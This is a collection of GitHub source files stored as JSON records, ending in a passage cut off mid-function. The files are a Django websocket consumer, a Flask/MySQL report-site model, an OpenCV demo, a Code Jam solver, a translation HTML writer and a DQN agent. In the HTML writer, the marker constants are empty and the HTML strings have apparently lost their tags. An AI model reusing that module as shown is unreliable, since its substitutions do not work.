self.room_group_name,\n self.channel_name\n )\n\n def receive(self, text_data):\n text_data_json = json.loads(text_data)\n action_type = text_data_json['actiontype']\n message = text_data_json['message']\n \n if action_type == 'WEBSOCKET_EDIT_MESSAGE':\n collection_name = message['name']\n collection_id = message['id']\n \n try:\n UserCollections.objects.filter(id=collection_id).update(name=collection_name)\n return_data = UserCollectionsSerializer(UserCollections.objects.get(id=collection_id)).data\n action_type = 'SUCCESS_UPDATE_COLLECTION'\n except:\n return_data = {'error': 'Error editing collection name.'}\n action_type = 'FAILURE_UPDATE_COLLECTION'\n \n if action_type == 'WEBSOCKET_ADD_MESSAGE':\n collection_id = message['collectionId']\n restaurant_id = message['restaurantId']\n try:\n user_collection = UserCollections.objects.get(id=collection_id)\n restaurant = Restaurant.objects.get(id=restaurant_id)\n restaurant_object = RestaurantCollections(restaurant_collection=user_collection, restaurant=restaurant)\n restaurant_object.save()\n return_data = RestaurantCollectionsSerializer(restaurant_object).data\n action_type = 'SUCCESS_ADD_RESTAURANT_TO_COLLECTION'\n except:\n return_data = {'error': 'Error adding restaurant to collection.'}\n action_type = 'FAILURE_ADD_RESTAURANT_TO_COLLECTION'\n \n if action_type == 'WEBSOCKET_REMOVE_MESSAGE':\n user_id = message['user']\n collection_name = message['collectionName']\n restaurant_id = message['restaurantId']\n\n try:\n restaurant_object = RestaurantCollections.objects.get(restaurant_collection__collaborators__id=user_id, restaurant_collection__name=collection_name, restaurant__id=restaurant_id)\n restaurant_object.delete()\n restaurants = RestaurantCollections.objects.filter(restaurant_collection__collaborators__id=user_id, restaurant_collection__name=collection_name)\n restaurants_data = RestaurantCollectionsSerializer(restaurants, many=True).data\n return_data = {'success': {'success': collection_name}, 'restaurants': restaurants_data }\n action_type = 'SUCCESS_DELETE_RESTAURANTS_IN_COLLECTION'\n except:\n return_data = {'error': 'Error removing restaurant from collection.'}\n action_type = 'FAILURE_DELETE_RESTAURANTS_IN_COLLECTION'\n\n async_to_sync(self.channel_layer.group_send)(\n self.room_group_name,\n {\n 'type': 'collection_message',\n 'message': return_data,\n 'actiontype': action_type\n }\n )\n\n def collection_message(self, event):\n message = event['message']\n action_type = event['actiontype']\n\n self.send(text_data=json.dumps({\n 'message': message,\n 'actiontype': action_type\n }))\n","repo_name":"Anupam-dagar/DRF-Websocket-Django-Backend","sub_path":"api/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":3959,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"9695643978","text":"import cv2\nimport numpy as np\n\n\ncanvas =np.zeros((512,512,3),np.uint8)+255 #255 eklenerek beyaz görüntü elde edilir\n\nfont1=cv2.FONT_HERSHEY_SIMPLEX\nfont2=cv2.FONT_HERSHEY_COMPLEX\nfont3=cv2.FONT_HERSHEY_PLAIN\n\n\ncv2.putText(canvas,\"ğpencv\",(10,100),font1,3,(0,0,0) ,cv2.LINE_AA)\n\n\n\ncv2.imshow(\"canv\",canvas)\ncv2.waitKey(0)\ncv2.destroyAllWindows()","repo_name":"FAArik/opencvtraining","sub_path":"udemy1-8/udemy7yazıyazdırma.py","file_name":"udemy7yazıyazdırma.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21539178605","text":"from contextlib import contextmanager\nimport mysql.connector\nimport connect\nfrom flask import redirect, url_for\nfrom datetime import datetime\n\ncurrent_date = datetime.now().strftime(\"%Y-%m-%d\")\ncurrent_time = datetime.now().strftime(\"%H:%M:%S\")\n\n@contextmanager\ndef get_cursor():\n connection = mysql.connector.connect(user=connect.dbuser,\n password=connect.dbpass, \n host=connect.dbhost,\n database=connect.dbname, \n autocommit=True)\n cur = connection.cursor(dictionary=True)\n try:\n yield cur\n finally:\n cur.close()\n connection.close()\n\n\nclass User:\n def __init__(self, email=None, password=None, period_ending=None, report_id=None, response=None, action=None):\n self.email = email\n self.password = password\n self.period_ending = period_ending\n self.report_id = report_id\n self.response = response\n self.action = action\n\n# sql - get supervisor's details for their profile \n def profile_supervisor(self, SupervisorEmail):\n with get_cursor() as cur:\n supervisorinfo_sql = \"\"\"Select CONCAT(stf.FirstName,' ', stf.LastName) as 'Staff Name', stf.Phone,\n stf.Email, dep.DepartmentName, dep.Faculty\n from Staff stf \n left join Department dep on stf.DepartmentCode = dep.DepartmentCode \n where stf.Email = %s;\"\"\"\n cur.execute(supervisorinfo_sql, (SupervisorEmail,))\n result = cur.fetchone()\n return result\n\n# sql - get student's details for their profile \n def profile_student(self, StudentEmail):\n with get_cursor() as cur:\n studentinfo_sql = \"\"\"Select st.StudentID, CONCAT(st.FirstName,' ', st.LastName) as 'Student Name', st.Email as 'Student Email', st.EnrolmentDate, st.Address, st.Phone, \n st.Email, st.ModeOfStudy, st.ThesisTitle\n from Student st\n left join Department dep on st.DepartmentCode = dep.DepartmentCode\n where st.Email = %s;\"\"\"\n cur.execute(studentinfo_sql, (StudentEmail,))\n result = cur.fetchone()\n return result\n \n# sql - get Student's current Employment details\n def student_emp(self, StudentEmail):\n with get_cursor() as cur:\n student_emo_sql = \"\"\"select emp.EmploymentID, CONCAT(stf.FirstName, ' ', stf.LastName) as 'Supervisor Name', emp.SupervisorID, \n empt.EmploymentType, emp.WeeklyHours, emp.StartDate, emp.EndDate, emp.StudentID\n from Student stu\n left join Employment emp on stu.StudentID = emp.StudentID\n left join EmploymentType empt on empt.EmploymentTypeID = emp.EmploymentTypeID\n left join Staff stf on emp.SupervisorID = stf.StaffID\n Where stu.Email = %s AND emp.EndDate IS NULL;\"\"\"\n cur.execute(student_emo_sql, (StudentEmail,))\n result = cur.fetchall()\n return result\n \n# sql - get Student 6mr supervisor details.\n def student_sup(self, StudentEmail):\n with get_cursor() as cur:\n student_sup_sql = \"\"\"select CONCAT(stf.FirstName, ' ', stf.LastName) as 'Supervisor Name',\n sup.SupervisorType\n from Student stu\n left join Supervision sup on stu.StudentID = sup.StudentID\n left join Staff stf on sup.SupervisorID = stf.StaffID\n Where stu.Email = %s;\"\"\"\n cur.execute(student_sup_sql, (StudentEmail,))\n result = cur.fetchall()\n return result\n \n# sql - get supervisee's current scholarship info\n def student_scholar(self, StudentEmail):\n with get_cursor() as cur:\n student_scholar = \"\"\"Select sr.SchoRecordID, sch.Name, sch.Value, sr.StartDate, sr.EndDate, sr.StudentID\n from Student stu\n join ScholarshipRecord sr on stu.StudentID = sr.StudentID\n join Scholarship sch on sr.ScholarshipID = sch.ScholarshipID\n Where stu.Email = %s AND sr.EndDate>CURDATE();\"\"\"\n cur.execute(student_scholar, (StudentEmail,))\n result = cur.fetchall()\n return result\n \n # sql - get pgChair profile\n def profile_pgChair(self, email):\n with get_cursor() as cur:\n pgChairinfo_sql = \"\"\"Select CONCAT(stf.FirstName, ' ', stf.LastName) as 'Staff Name', stf.Phone,\n stf.Email, dep.DepartmentName, dep.Faculty\n from Staff stf \n left join Department dep on stf.DepartmentCode = dep.DepartmentCode\n where stf.Email = %s;\"\"\"\n cur.execute(pgChairinfo_sql, (email,))\n result = cur.fetchone()\n return result\n\n #sql - edit pgChair profile\n def profile_pgChair_edit_process(self, phone, email):\n with get_cursor() as cur:\n pgChairinfoedit_sql = \"\"\"Update Staff Set Phone = %s Where Email = %s;\"\"\"\n cur.execute(pgChairinfoedit_sql,(phone, email))\n\n \n def get_pgchair_report_list(self, period_ending):\n with get_cursor() as cur:\n sql = \"\"\"SELECT s.ReportID AS 'Report ID', s.ReportPeriodEndDate AS 'End Date', s.B_ReportOrder AS 'Report Order',s.StudentID AS 'Student ID', CONCAT(stu.FirstName, ' ', stu.LastName) as 'Student Name', s.Status, s.IfSectionF\n FROM SixMR AS s JOIN Student AS stu\n ON s.StudentID=stu.StudentID\n WHERE s.ReportPeriodEndDate=%s AND s.Status NOT IN ('Unfinished')\n ORDER BY s.ReportID DESC;\"\"\"\n cur.execute(sql, (period_ending,))\n result = cur.fetchall()\n # Get the percentage of supervisor assessment completion for each report.\n for x in result:\n report_id = x['Report ID']\n # Get the total number of supervisor assessments that should be done.\n cur.execute(\"\"\"SELECT COUNT(ReportID) AS 'Total' FROM SupervisorAssessment WHERE ReportID=%s;\"\"\", (report_id,))\n total = cur.fetchone()\n # Get the number of supervisor assessments that have been done.\n cur.execute(\"\"\"SELECT COUNT(ReportID) AS 'Total' FROM SupervisorAssessment WHERE ReportID=%s AND CompletionDate IS NOT NULL;\"\"\", (report_id,))\n done = cur.fetchone()\n if done:\n percentage = str(done['Total'])+'/'+str(total['Total'])\n else:\n percentage = '0/'+str(total['Total'])\n x['Percentage'] = percentage\n # Find out if the PG Chair needs to do the final rating.(when the Student's convenor is also a supervisor)\n cur.execute(\"\"\"SELECT * FROM Supervision WHERE StudentID=%s AND SupervisorID IN (SELECT ConvenorID FROM Department);\"\"\", (x['Student ID'],))\n resultdata=cur.fetchall()\n if resultdata:\n x['PgChairToRate'] = True\n else:\n x['PgChairToRate'] = False\n # Check if the PG chair has responded to the section F.\n if x['IfSectionF'] == 'Yes':\n cur.execute(\"\"\"SELECT HasResponded FROM F WHERE ReportID=%s;\"\"\", (report_id,))\n HasReponded = cur.fetchone()['HasResponded']\n if HasReponded == 1:\n x['HasResponded'] = True\n if HasReponded == 0:\n x['HasResponded'] = False\n else:\n x['HasResponded'] = False\n return result\n\n # Get the F response content. \n def get_pgchair_response(self, report_id):\n with get_cursor() as cur:\n sql = \"\"\"SELECT * FROM F WHERE ReportID=%s;\"\"\"\n cur.execute(sql, (report_id,))\n result = cur.fetchone()\n return result\n \n # Get the student's details.\n def get_student(self, report_id):\n with get_cursor() as cur:\n sql = \"\"\"SELECT * FROM Student WHERE StudentID=(SELECT StudentID FROM SixMR WHERE ReportID=%s);\"\"\"\n cur.execute(sql, (report_id,))\n result = cur.fetchone()\n return result\n \n # Save the F response content and relevant F table columns.\n def update_pgchair_response(self, report_id, response, action):\n with get_cursor() as cur:\n if action == 'save':\n sql = \"\"\"UPDATE F SET Response=%s WHERE ReportID=%s;\"\"\"\n cur.execute(sql, (response, report_id))\n if action == 'submit':\n sql = \"\"\"UPDATE F SET Response=%s, HasResponded=1,ResponseDate=%s, ResponseTime=%s WHERE ReportID=%s;\"\"\"\n cur.execute(sql, (response, current_date, current_time, report_id))\n # Get the student's email.\n cur.execute(\"\"\"SELECT Email FROM Student WHERE StudentID=(SELECT StudentID FROM SixMR WHERE ReportID=%s);\"\"\", (report_id,))\n student_email = cur.fetchone()['Email']\n return student_email\n\ndef get_all_student():\n with get_cursor() as cur:\n student_list = \"\"\"select stu.StudentID, CONCAT(stu.FirstName, ' ', stu.LastName) as 'FullName', \n stu.Email, stu.ThesisTitle, stu.EnrolmentDate, stu.Address, stu.Phone, stu.ModeOfStudy, \n dep.DepartmentName, dep.Faculty, dep.DepartmentCode\n from Student stu\n left join Department dep on stu.DepartmentCode = dep.DepartmentCode\n ORDER BY stu.LastName, stu.FirstName;\"\"\"\n cur.execute(student_list)\n result = cur.fetchall()\n return result\n\n\ndef get_all_supervisor():\n with get_cursor() as cur:\n supervisors_sql = \"\"\"SELECT CONCAT(stf.FirstName,' ', stf.LastName) as 'Staff Name', stf.DepartmentCode, \n stf.Email, dep.DepartmentName, User.Role\n from Staff stf \n JOIN Department dep ON dep.DepartmentCode=stf.DepartmentCode\n JOIN User on User.Email=stf.Email\n where User.Role='Supervisor' ORDER BY stf.LastName, stf.FirstName;\"\"\"\n cur.execute(supervisors_sql)\n result = cur.fetchall()\n return result\n\n\n# get Student Employment history details\ndef student_emp_history(email):\n with get_cursor() as cur:\n student_emo_history_sql = \"\"\"select emp.EmploymentID, CONCAT(stf.FirstName, ' ', stf.LastName) as 'Supervisor Name', emp.SupervisorID, \n empt.EmploymentType, emp.WeeklyHours, emp.StartDate, emp.EndDate, emp.StudentID\n from Student stu\n left join Employment emp on stu.StudentID = emp.StudentID\n left join EmploymentType empt on empt.EmploymentTypeID = emp.EmploymentTypeID\n left join Staff stf on emp.SupervisorID = stf.StaffID\n Where stu.Email = %s\n Order by EndDate DESC;\"\"\"\n cur.execute(student_emo_history_sql, (email,))\n result = cur.fetchall()\n return result\n\n\n# get Student scholarship history details\ndef student_scho_history(email):\n with get_cursor() as cur:\n student_scho_history_sql = \"\"\"Select sr.ScholarshipID, sr.SchoRecordID, sch.Name, sch.Value, sr.StartDate, sr.EndDate, sr.StudentID\n from Student stu\n join ScholarshipRecord sr on stu.StudentID = sr.StudentID\n join Scholarship sch on sr.ScholarshipID = sch.ScholarshipID\n Where stu.Email = %s\n order by EndDate DESC;\"\"\"\n cur.execute(student_scho_history_sql, (email,))\n result = cur.fetchall()\n return result\n \n\nclass StatusBar:\n def __init__(self, reportid=None):\n pass\n def submission_history_desc_list(self, reportid):\n with get_cursor() as cur:\n report_submission_history = \"\"\"select allUser.FirstName,allUser.LastName,allUser.Email,sh.ReportID,sh.Action,sh.SubmitterRole, sh.Date, sh.Time from (\n select FirstName,LastName,Email from Staff\n Union \n select FirstName,LastName,Email from Student)\n as allUser right join SubmissionHistory sh on sh.SubmitterEmail = allUser.Email\n where ReportID=%s\n order by sh.Date, sh.Time\"\"\"\n cur.execute(report_submission_history , (reportid,))\n submission_history = cur.fetchall()\n submission_history_desc_list = []\n current_status = self.report_status(reportid)\n if current_status['Status'] == \"Unfinished\":\n desciption = \"The 6MR report has been created, Please finish your report and submit.\"\n submission_history_desc_list.append(desciption)\n elif current_status['Status'] == \"Rejected\":\n desciption = 'The submitted report has been rejected by the Principle Supervisor.Please editting and resubmit according to the feedback you received.'\n submission_history_desc_list.append(desciption)\n index = 0\n try:\n for single_history in submission_history:\n if 'performance' in single_history[\"Action\"]:\n index=index+1\n submission_history_desc=f'{single_history[\"Action\"]}({index}/3) : {single_history[\"SubmitterRole\"]} ({single_history[\"FirstName\"]} {single_history[\"LastName\"]}) has {single_history[\"Action\"].lower()} on {single_history[\"Date\"]} {single_history[\"Time\"]}'\n else:\n submission_history_desc=f'{single_history[\"Action\"]} : {single_history[\"SubmitterRole\"]} ({single_history[\"FirstName\"]} {single_history[\"LastName\"]}) has {single_history[\"Action\"].lower()} on {single_history[\"Date\"]} {single_history[\"Time\"]}'\n submission_history_desc_list.append(submission_history_desc)\n return submission_history_desc_list\n except Exception:\n return submission_history_desc_list\n def submission_history_index(self, reportid):\n with get_cursor() as cur:\n sql = \"\"\"select Action from SubmissionHistory\n where ReportID=%s\n order by Date,Time\"\"\"\n index = 0\n cur.execute(sql , (reportid,))\n submission_history = cur.fetchall()\n if len(submission_history) == 0:\n index = 1\n return index\n elif len(submission_history) == 1:\n index = 2\n return index\n elif 2 <= len(submission_history) <=4:\n index = 3 \n return index\n elif len(submission_history) == 5:\n index = 4 \n return index\n else:\n index = 5\n return index\n def report_status(self,reportid):\n with get_cursor() as cur:\n sql = \"select Status from SixMR where ReportID=%s\"\n cur.execute(sql , (reportid,))\n report_status = cur.fetchone()\n return report_status\n","repo_name":"zhiyizhu805/Lincoln-Postgraduate-Report-Website","sub_path":"pgChair/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":16176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12515406887","text":"import sys\n\n\ndef solve(a, b):\n m = (a + b) // 2\n print(m)\n sys.stdout.flush()\n s = input()\n if s == 'CORRECT':\n return\n elif s == 'TOO_SMALL':\n a = m + 1\n else:\n b = m - 1\n solve(a, b)\n\n\nT = int(input())\nfor t in range(1, T + 1):\n a, b = map(int, input().split())\n _ = int(input())\n solve(a + 1, b)\n","repo_name":"satojkovic/algorithms","sub_path":"codejam/2018/Practice/guess_number.py","file_name":"guess_number.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"37183858139","text":"# -*- coding: utf-8 -*-\n\"\"\"\n Author:\t\tTahmid Khan\n File:\t\t\t[htmlwriter.py]\n Description:\tThis module is responsible for modifying and writing the\n \t\t\t\tpre-processed HTML version of a given chapter translation\n\"\"\"\nimport pykakasi as pkk \t# Python Japanese romanization api\nimport os \t\t\t\t# OS level operations\nimport io \t\t\t\t# File reading/writing\nimport re \t\t\t\t# Regex for parsing\n\nfrom htmlparser import LType\n\nPRE_MARKER = r\"\"\nMAIN_MARKER = r\"\"\nPOST_MARKER = r\"\"\n\nclass HtmlWriter:\n\t#--------------------------------------------------------------------------\n\t# ctor\n\t#--------------------------------------------------------------------------\n\tdef __init__(self, dictionary, log_file, res_path, dev_opt=False):\n\t\t\"\"\"-------------------------------------------------------------------\n\t\t\tFunction:\t\t[CONSTRUCTOR]\n\t\t\tDescription:\tReads in the skeleton.html resource file\n\t\t\tInput:\t\t\t\n\t\t\t [dictionary]\tSeries dictionary\n\t\t\t [log_file]\tFile descriptor to write translation logs to\n\t\t\t [res_path]\tPath to skeleton.html resource\n\t\t\t [dev_opt] \tOutput developer version HTML?\n\t\t\t------------------------------------------------------------------\n\t\t\"\"\"\n\t\t# Various id attribute initializations\n\t\tself.__pId = 1\n\t\tself.__linenum = 1\n\t\tself.__imgnum = 1\n\t\tself.__dummynum = 1\n\n\t\tself.__dictionary = dictionary\n\t\tself.__log = log_file\n\t\twith io.open(os.path.join(res_path), mode='r', encoding='utf8') as res:\n\t\t\tself.__resource = res.read()\n\t\t\tif dev_opt:\n\t\t\t\tpattern = re.compile(r\"(.*)\", re.S)\n\t\t\t\tself.__resource = pattern.sub('', self.__resource)\n\t\t\telse:\n\t\t\t\tpattern = re.compile(r\"(.*)\", re.S)\n\t\t\t\tself.__resource = pattern.sub('', self.__resource)\n\n\t#--------------------------------------------------------------------------\n\t# Romanization generation\n\t#--------------------------------------------------------------------------\n\tdef romanizeLine(self, text_src):\n\t\t\"\"\"-------------------------------------------------------------------\n\t\t\tFunction:\t\t[romanizeLine]\n\t\t\tDescription:\tGenerate html element for the romanization of the\n\t\t\t\t\t\t\tprovided text (JP only)\n\t\t\tInput:\n\t\t\t [text_src]\tThe source Japanese text to romanize\n\t\t\tReturn:\t\t\tstring representing the HTML element with the \n\t\t\t\t\t\t\tromanization\n\t\t\t------------------------------------------------------------------\n\t\t\"\"\"\n\t\tromanizer = pkk.kakasi()\n\t\tromanizer.setMode(\"H\",\"a\") \t\t\t# Enable Hiragana to ascii\n\t\tromanizer.setMode(\"K\",\"a\") \t\t\t# Enable Katakana to ascii\n\t\tromanizer.setMode(\"J\",\"a\") \t\t\t# Enable Japanese to ascii\n\t\tromanizer.setMode(\"r\",\"Hepburn\") \t# Use Hepburn Roman table\n\t\tromanizer.setMode(\"s\", True) \t\t# Add spaces\n\t\tromanizer.setMode(\"C\", True) \t\t# Capitalize\n\n\t\tconverter = romanizer.getConverter()\n\t\treturn converter.do(text_src)\n\n\n\t#--------------------------------------------------------------------------\n\t# Modification functions\n\t#--------------------------------------------------------------------------\n\tdef setPageTitle(self, series, ch):\n\t\t\"\"\"-------------------------------------------------------------------\n\t\t\tFunction:\t\t[setPageTitle]\n\t\t\tDescription:\tInserts a page title as an html tag into the \n\t\t\t\t\t\t\tgiven resource string\n\t\t\tInput:\n\t\t\t [series]\t\tSeries name\n\t\t\t [ch]\t\t\tChapter number\n\t\t\tReturn:\t\t\tNone\n\t\t\t------------------------------------------------------------------\n\t\t\"\"\"\n\t\tpg_title = \"%s %d\" % (series, ch)\n\t\tself.__resource = re.sub(r'', pg_title, self.__resource)\n\t\tself.__log.write(\"Set page title: %s\" % pg_title)\n\n\tdef setChapterTitle(self, ch_title):\n\t\t\"\"\"-------------------------------------------------------------------\n\t\t\tFunction:\t\t[setChapterTitle]\n\t\t\tDescription:\tInserts a chapter title as an html header into the \n\t\t\t\t\t\t\tresource string\n\t\t\tInput:\n\t\t\t [ch_title]\tThe chapter title string\n\t\t\tReturn:\t\t\tNone\n\t\t\t------------------------------------------------------------------\n\t\t\"\"\"\n\t\tself.__resource = re.sub(r'', ch_title, self.__resource)\n\t\tself.__log.write(\"Set series title: %s\" % ch_title)\n\n\tdef setSeriesLink(self, link):\n\t\t\"\"\"-------------------------------------------------------------------\n\t\t\tFunction:\t\t[setSeriesLink]\n\t\t\tDescription:\tSets the link that takes user to the webpage from \n\t\t\t\t\t\t\twhich the raws for this series was pulled from\n\t\t\tInput:\n\t\t\t [link]\t\tThe HTML link to insert\n\t\t\tReturn:\t\t\tNone\n\t\t\t------------------------------------------------------------------\n\t\t\"\"\"\n\t\tself.__resource = re.sub(r'', link, self.__resource)\n\t\tself.__log.write(\"Set series link: %s\" % link)\n\n\tdef setChapterLink(self, link):\n\t\t\"\"\"-------------------------------------------------------------------\n\t\t\tFunction:\t\t[setChapterLink]\n\t\t\tDescription:\tSets the link that takes user to the webpage from \n\t\t\t\t\t\t\twhich the raw for this chapter was pulled from\n\t\t\tInput:\n\t\t\t [link]\t\tThe HTML link to insert\n\t\t\tReturn:\t\t\tNone\n\t\t\t------------------------------------------------------------------\n\t\t\"\"\"\n\t\tself.__resource = re.sub(r'', link, self.__resource)\n\t\tself.__log.write(\"Set chapter link: %s\" % link)\n\n\tdef setChapterNumber(self, ch_num):\n\t\t\"\"\"-------------------------------------------------------------------\n\t\t\tFunction:\t\t[setChapterNumber]\n\t\t\tDescription:\tInserts the chapter number as an html header into\n\t\t\t\t\t\t\tthe resource string\n\t\t\tInput:\n\t\t\t [ch_num]\t\tThe chapter number as a string\n\t\t\tReturn:\t\t\tNone\n\t\t\t------------------------------------------------------------------\n\t\t\"\"\"\n\t\tch_num = \"Chapter \" + ch_num\n\t\tself.__resource = re.sub(r'', ch_num, self.__resource)\n\t\tself.__log.write(\"Set chapter subtitle: %s\" % ch_num)\n\n\tdef generateDummy(self, lang):\n\t\t\"\"\"-------------------------------------------------------------------\n\t\t\tFunction:\t\t[generateDummy]\n\t\t\tDescription:\tGenerates an dummy html element. These dummy elements\n\t\t\t\t\t\t\tare used by the JS algorithm during the postprocessing\n\t\t\tInput:\n\t\t\t [lang] \tWhich lang are we creating a dummy for?\n\t\t\tReturn:\t\t\tHTML dummy element as a string\n\t\t\t------------------------------------------------------------------\n\t\t\"\"\"\n\t\tif lang == \"JP\":\n\t\t\tdummy = u\"ダミー\"\n\t\telif lang == \"CN\":\n\t\t\tdummy = u\"假\"\n\n\t\tdummy_html = \"

%s

\\n\" % \\\n\t\t\t(self.__dummynum, dummy)\n\t\tself.__dummynum += 1\n\t\treturn dummy_html\n\n\tdef insertLine(self, line_data, lang):\n\t\t\"\"\"-------------------------------------------------------------------\n\t\t\tFunction:\t\t[insertLine]\n\t\t\tDescription:\tInserts a line as an html paragraph into the given \n\t\t\t\t\t\t\tresource string\n\t\t\tInput:\n\t\t\t [line_data]\tA 2-tuple representing line type and line content\n\t\t\t [lang]\t\tThe language the line is in\n\t\t\tReturn:\t\t\tNone\n\t\t\t------------------------------------------------------------------\n\t\t\"\"\"\n\t\tif(self.__linenum == 1):\n\t\t\tdummy_html = self.generateDummy(lang) + PRE_MARKER\n\t\t\tself.__resource = re.sub(PRE_MARKER, dummy_html, self.__resource)\n\n\t\t(ltype, line) = line_data\n\t\t# Strip unnecessary white space at the beginning\n\t\tline = line.lstrip()\n\n\t\t# Insert a prescript
if prescript line detected\n\t\tif ltype == LType.PRE:\n\t\t\thr_html = \"%s\\n
\" % PRE_MARKER\n\t\t\tif not hr_html in self.__resource:\n\t\t\t\tself.__resource = re.sub(PRE_MARKER, hr_html, self.__resource)\n\t\t# Insert a postscript
if postscript line detected\n\t\tif ltype == LType.POST or ltype == LType.POST_IMG:\n\t\t\thr_html = \"%s\\n
\" % MAIN_MARKER\n\t\t\tif not hr_html in self.__resource:\n\t\t\t\tself.__resource = re.sub(MAIN_MARKER, hr_html, self.__resource)\n\n\t\t# There's a special way to process images\n\t\tif ltype == LType.REG_IMG:\n\t\t\talt = \"image_%s\" % self.__imgnum\n\t\t\timg_html = \"\\\"%s\\\"\\n%s\" % \\\n\t\t\t\t(self.__imgnum, line, alt, MAIN_MARKER)\n\t\t\tself.__resource = re.sub(MAIN_MARKER, img_html, self.__resource)\n\t\t\tself.__imgnum += 1\n\t\t\treturn\n\t\telif ltype == LType.POST_IMG:\n\t\t\talt = \"image_%s\" % self.__imgnum\n\t\t\timg_html = \"\\\"%s\\\"\\n%s\" % \\\n\t\t\t\t(self.__imgnum, line, alt, POST_MARKER)\n\t\t\tself.__resource = re.sub(POST_MARKER, img_html, self.__resource)\n\t\t\tself.__imgnum += 1\n\t\t\treturn\n\n\t\t# Rest of this function handles normal lines\n\t\t# Display roma for JP\n\t\tif lang == \"JP\":\n\t\t\traw_line = \"

%s

\" % \\\n\t\t\t\t(self.__linenum, self.romanizeLine(line))\n\t\t\tsrc_lang = \"ja\"\n\t\t# Display raw for CN\n\t\telif lang == \"CN\":\n\t\t\traw_line = \"

%s

\" % \\\n\t\t\t\t(self.__linenum, line)\n\t\t\tsrc_lang = \"zh-CN\"\n\n\t\t# Double quotations in the google translate anchor mess up the link\n\t\tline_0 = line.replace(\"\\\"\", \"\\'\")\n\t\traw_html = \"%s\" % (src_lang, line_0, raw_line)\n\n\t\t# Preprocess line using dictionary entities\n\t\tfor entry in self.__dictionary:\n\t\t\tif entry in line:\n\t\t\t\tself.__log.write(\"\\n\\tDetected token %s in line. Replacing \\\n\t\t\t\t\twith %s\" % (entry, self.__dictionary[entry]))\n\n\t\t\t\tplaceholder = \"placeholder\\\n\t\t\t\t\t\" % self.__pId\n\t\t\t\tnew_entry = \"%s\\\n\t\t\t\t\t\" % (self.__pId, self.__dictionary[entry])\n\t\t\t\tline = line.replace(entry, \"%s%s\" % (new_entry, placeholder))\n\n\t\t\t\tself.__pId += 1\n\n\t\t# Integrate line into resource string\n\t\tif ltype == LType.PRE:\n\t\t\tmarker = PRE_MARKER\n\t\telif ltype == LType.REG or ltype == LType.TITLE:\n\t\t\tmarker = MAIN_MARKER\n\t\telif ltype == LType.POST:\n\t\t\tmarker = POST_MARKER\n\t\telse:\n\t\t\tprint(\"[Error] Unrecognized LType!\")\n\t\t\tsys.exit(1)\n\n\t\tdummy_html = self.generateDummy(lang) + marker\n\t\tline_html = \"

%s

%s\\n%s\" % \\\n\t\t\t(self.__linenum, line, raw_html, dummy_html)\n\t\tself.__resource = re.sub(marker, line_html, self.__resource)\n\t\tself.__linenum += 1\n\n\t#--------------------------------------------------------------------------\n\t# Accessor function\n\t#--------------------------------------------------------------------------\n\tdef getResourceString(self):\n\t\treturn self.__resource","repo_name":"tahmidk/Downtrans","sub_path":"src/htmlwriter.py","file_name":"htmlwriter.py","file_ext":"py","file_size_in_byte":10196,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"13648066230","text":"import random\nimport math\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torch.nn as nn\nimport json\nimport os\n\nfrom agent_dir.agent import Agent\nfrom environment import Environment\n\nfrom collections import deque, namedtuple\n\nuse_cuda = torch.cuda.is_available()\n\n#DDQN\n#Dual-DQN\n#Prioritized reply\n#Multi-step (MC and TD)\n#Noisy Net\n#Distributional DQN\n\nclass DQN(nn.Module):\n '''\n This architecture is the one from OpenAI Baseline, with small modification.\n '''\n def __init__(self, channels, num_actions, duel_net=False):\n super(DQN, self).__init__()\n self.duel_net = duel_net\n self.conv1 = nn.Conv2d(channels, 32, kernel_size=8, stride=4)\n self.conv2 = nn.Conv2d(32, 64, kernel_size=4, stride=2)\n self.conv3 = nn.Conv2d(64, 64, kernel_size=3, stride=1)\n self.fc = nn.Linear(7*7*64, 512)\n self.head = nn.Linear(512, num_actions) \n self.relu = nn.ReLU()\n self.lrelu = nn.LeakyReLU(0.01)\n\n if self.duel_net:\n self.fc_value = nn.Linear(512, 1)\n self.fc_advantage = nn.Linear(512, num_actions)\n\n def forward(self, x):\n x = self.relu(self.conv1(x))\n x = self.relu(self.conv2(x))\n x = self.relu(self.conv3(x))\n x = self.lrelu(self.fc(x.view(x.size(0), -1)))\n if self.duel_net:\n value = self.fc_value(x)\n advantage = self.fc_advantage(x)\n q = value + advantage - advantage.mean()\n else:\n q = self.head(x)\n\n return q\n\nclass ReplayBuffer:\n \"\"\"Fixed-size buffer to store experience tuples.\"\"\"\n\n def __init__(self, buffer_size, batch_size):\n self.memory = deque(maxlen=buffer_size) \n self.batch_size = batch_size\n self.buffer_size = buffer_size\n self.position = 0\n self.experience = namedtuple(\"Experience\", field_names=[\"state\", \"action\", \"reward\", \"next_state\", \"done\"])\n def add(self, state, action, reward, next_state, done):\n e = self.experience(state, action, reward, next_state, done)\n if len(self.memory) < self.buffer_size:\n self.memory.append(None)\n self.memory[self.position] = e\n self.position = (self.position + 1) % self.buffer_size\n def sample(self):\n \"\"\"Randomly sample a batch of experiences from memory.\"\"\"\n experiences = random.sample(self.memory, k=self.batch_size)\n states = torch.cat([e.state for e in experiences if e is not None]).float().cuda()\n next_states = torch.cat([e.next_state for e in experiences if e is not None]).float().cuda()\n actions = torch.from_numpy(np.vstack([e.action for e in experiences if e is not None])).long().cuda()\n rewards = torch.from_numpy(np.vstack([e.reward for e in experiences if e is not None])).float().cuda()\n dones = torch.from_numpy(np.vstack([e.done for e in experiences if e is not None]).astype(np.uint8)).float().cuda()\n return (states, actions, rewards, next_states, dones)\n def __len__(self):\n return len(self.memory)\n\n\nclass AgentDQN(Agent):\n def __init__(self, env, args):\n self.env = env\n self.input_channels = 4\n self.num_actions = self.env.action_space.n\n\n if args.test_dqn:\n if args.model_path == None:\n raise Exception('give --model_path')\n else:\n if args.folder_name == None:\n raise Exception('give --folder_name')\n self.model_dir = os.path.join('./model',args.folder_name)\n if not os.path.exists(self.model_dir):\n 